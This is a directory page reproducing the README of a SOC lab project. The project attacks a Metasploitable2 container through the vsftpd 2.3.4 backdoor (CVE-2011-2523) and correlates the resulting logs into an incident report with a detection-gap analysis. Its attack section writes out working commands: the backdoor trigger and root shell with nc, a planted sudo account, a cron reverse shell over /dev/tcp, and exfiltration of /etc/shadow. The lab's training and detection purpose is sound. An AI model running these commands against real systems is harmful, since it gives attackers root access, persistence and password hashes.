Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
soc-investigation-lab — End-to-end SOC investigation: CVE-2011-2523 kill chain, multi-source log correlation, incident report — MITRE ATT&CK T1190 | Kitploit
Tools/GitHubGitHub/mithileshan/soc-investigation-lab
ReconnaissanceVulnerability AnalysisExploitationForensicsPost-ExploitationPenetration TestingThreat IntelligenceLearning & EducationIncident Response

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Log Analysis
Labs & Practice
GitHubmithileshan/soc-investigation-lab

soc-investigation-lab

End-to-end SOC investigation: CVE-2011-2523 kill chain, multi-source log correlation, incident report — MITRE ATT&CK T1190

View Repository
3 months agoNot yet reviewed

End-to-End SOC Investigation Lab

Executes a complete four-phase attack chain (Reconnaissance → Exploitation → Persistence → Exfiltration) against Metasploitable2, collects evidence at each phase, and produces a structured incident timeline and SOC report — demonstrating simultaneous attacker and defender thinking.

MITRE ATT&CK T1190 MITRE ATT&CK T1136 MITRE ATT&CK T1078 MITRE ATT&CK T1041 Python


Objective

This is the capstone project. It demonstrates the ability to:

  • Execute a realistic kill chain against a deliberately vulnerable target
  • Collect forensic evidence at each stage using multiple telemetry sources
  • Correlate log entries from disparate systems into a unified incident timeline
  • Perform a visibility gap analysis — identifying what would have been missed without proper detection coverage
  • Produce a SOC-grade incident report in the format used by real security teams

The exploit used (CVE-2011-2523 — vsftpd 2.3.4 backdoor) is historically significant: it was a supply-chain attack where an adversary injected a backdoor into the open-source vsftpd package source repository.


Architecture

root@kitploit:~
                    ╔═══════════════════════════════╗
                    ║  soc-lab (172.23.0.0/24)       ║
                    ║                               ║
┌─────────────┐     ║  ┌─────────────────────────┐  ║
│  Attacker   │     ║  │  Metasploitable2        │  ║
│  Kali Linux │     ║  │  172.23.0.200           │  ║
│             │     ║  │                         │  ║
│  Phase 1    │─────╫─►│  :21  vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│  nmap -A    │     ║  │  :22  SSH               │  ║    backdoor on :6200
│             │     ║  │  :80  HTTP (DVWA)        │  ║
│  Phase 2    │─────╫─►│  :445 Samba             │  ║
│  msf exploit│◄────╫──│  :6200 root shell       │  ║
│             │     ║  └─────────────────────────┘  ║
│  Phase 3    │─────╫─► useradd sysbackup           ║
│  persistence│─────╫─► crontab reverse shell       ║
│             │     ║                               ║
│  Phase 4    │◄────╫── /etc/shadow via nc :5555    ║
│  exfiltration     ╚═══════════════════════════════╝
└──────┬──────┘
       │
       │ Evidence collection:
       │  logs/msf_session.log
       │  logs/target_auth.log
       │  captures/full_attack_chain.pcap (tshark CSV)
       ▼
┌──────────────────────────────────────────────────┐
│  build_timeline.py                               │
│  Parser: MSF log + auth.log + tshark CSV         │
│  → merge by timestamp → tag by phase             │
│  → JSON timeline + Markdown incident report      │
└──────────────────────────────────────────────────┘

Tools & Stack


Setup

root@kitploit:~
cd docker/

# Start Metasploitable2 (isolated network)
docker compose up -d metasploitable

# Verify target is reachable
nmap -p 21,22,80 172.23.0.200

# Start background packet capture
sudo tcpdump -i eth0 host 172.23.0.200 \
    -w captures/full_attack_chain.pcap &

How to Run (Attack Chain)

Phase 1 — Reconnaissance

root@kitploit:~
nmap -sV -O -A \
    -p 21,22,80,139,445,3306,5432 \
    --script=banner,ftp-anon,http-title \
    -oX logs/recon_scan.xml \
    172.23.0.200

Key finding: 21/tcp open ftp vsftpd 2.3.4

Phase 2 — Exploitation (CVE-2011-2523)

root@kitploit:~
# Method A: Metasploit
msfconsole -q -x "
  use exploit/unix/ftp/vsftpd_234_backdoor;
  set RHOSTS 172.23.0.200;
  set PAYLOAD cmd/unix/interact;
  run" | tee logs/msf_session.log

# Method B: Manual (demonstrates the mechanism)
# Step 1: Trigger backdoor by sending username with ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Step 2: Connect to spawned root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)

Why this works: When vsftpd 2.3.4 receives a username containing the substring :), the daemon executes execl("/bin/sh",...) bound to TCP port 6200. No authentication required — direct root shell.

Phase 3 — Persistence

root@kitploit:~
# Execute in the root shell on target:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -

Phase 4 — Exfiltration

root@kitploit:~
# Receiver (attacker)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt

# Sender (on target)
cat /etc/shadow | nc 172.23.0.1 5555

Build the incident timeline

root@kitploit:~
# Convert PCAP to CSV first
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap

# Build timeline from all sources
python3 src/build_timeline.py \
    --msf-log  logs/msf_session.log \
    --auth-log logs/target_auth.log \
    --pcap-csv captures/full_attack_chain_packets.csv \
    --output-json samples/timeline.json \
    --output-md   docs/incident_report.md \
    --pretty

Sample Output

build_timeline.py stderr

root@kitploit:~
2026-04-24T16:05:20  [INFO    ]  Parsed 9 events from MSF log
2026-04-24T16:05:20  [INFO    ]  Parsed 11 events from auth.log
2026-04-24T16:05:20  [INFO    ]  Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20  [INFO    ]  Total events (sorted): 24
2026-04-24T16:05:20  [INFO    ]  Unique IOCs extracted: 4
2026-04-24T16:05:20  [INFO    ]  Phase RECON   : 8 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase PERSIST : 6 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXFIL   : 2 event(s)

Incident timeline (excerpt from samples/sample_timeline.json)

root@kitploit:~
{
  "total_events": 24,
  "iocs": [
    { "indicator": "172.23.0.1", "phase": "RECON",   "occurrence": 8 },
    { "indicator": "172.23.0.1", "phase": "EXPLOIT",  "occurrence": 2 },
    { "indicator": "sysbackup",  "phase": "PERSIST", "occurrence": 1 }
  ],
  "timeline": [
    { "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON",   "description": "nmap -sV -O -A", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
    { "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL",   "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
  ]
}

Visibility Gap Analysis

This is the most important analytical output — what would have been missed without proper detection.

Critical finding: The vsftpd 2.3.4 exploit leaves no entry in auth.log because it bypasses the login subsystem. The only log evidence is the subsequent TCP connection to port 6200 — invisible without network telemetry. Endpoint logs alone cannot detect this attack class.


Limitations & Future Work


References


Project Structure

root@kitploit:~
04-soc-investigation/
├── src/
│   ├── build_timeline.py      # Multi-source log merger + phase tagger
│   └── run_attack_chain.sh    # Step-by-step attack chain with exact commands
├── configs/
│   └── splunk_detection_rules.spl   # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│   └── sample_timeline.json   # Example incident timeline JSON
├── docker/
│   └── docker-compose.yml     # Metasploitable2 isolated target
├── docs/
│   └── incident_report.md     # Generated SOC report (build_timeline.py --output-md)
└── screenshots/
Download Tool
ToolPurpose
Metasploitable2Deliberately vulnerable Linux target
Nmap 7.94Phase 1: Service enumeration
Metasploit 6.xPhase 2: vsftpd 2.3.4 exploit
NetcatPhase 3–4: Persistence + exfiltration
tsharkPacket capture throughout all phases
Python 3build_timeline.py — multi-source log merger
Splunk Free / ELKPhase-specific SIEM detection
PhaseRaw Log EvidenceCaught by SIEM RuleMissed Without Coverage
RECONPCAP: SYN flood to 24 portsPort sweep rule (>20 ports/10s) ✓Slow scan (-T1): evades rate threshold entirely
EXPLOITPCAP: new connection to :6200 · No auth.log entryPort :6200 anomaly rule ✓If attacker used HTTP exploit on :80 — no port anomaly
PERSISTauth.log: new user: name=sysbackupNew user creation alert ✓Direct /etc/passwd edit: zero logging without auditd
EXFILPCAP: 4 KB outbound on :5555Non-standard port + size rule ✓DNS exfiltration (TXT records): bypasses volume rules entirely
LimitationImpactMitigation
vsftpd 2.3.4 is a 2011 vulnerabilityNot representative of modern exploitsAdd EternalBlue (MS17-010) as alternative exploit scenario
build_timeline.py uses keyword classificationMisclassifies some eventsTrain a lightweight NLP classifier on labeled log data
No endpoint detection (EDR)File-level persistence (authorized_keys) not capturedAdd Wazuh or Elastic Agent on target
Manual attack chain executionNot reproducible without interactive interventionAutomate Phase 2–4 with Metasploit resource scripts
ReferenceID / Link
CVE-2011-2523 — vsftpd 2.3.4 backdoorhttps://nvd.nist.gov/vuln/detail/CVE-2011-2523
MITRE ATT&CK — Exploit Public-Facing ApplicationT1190
MITRE ATT&CK — Create Account: Local AccountT1136.001
MITRE ATT&CK — Scheduled Task/Job: CronT1053.003
MITRE ATT&CK — Exfiltration Over C2 ChannelT1041
MITRE ATT&CK — Valid AccountsT1078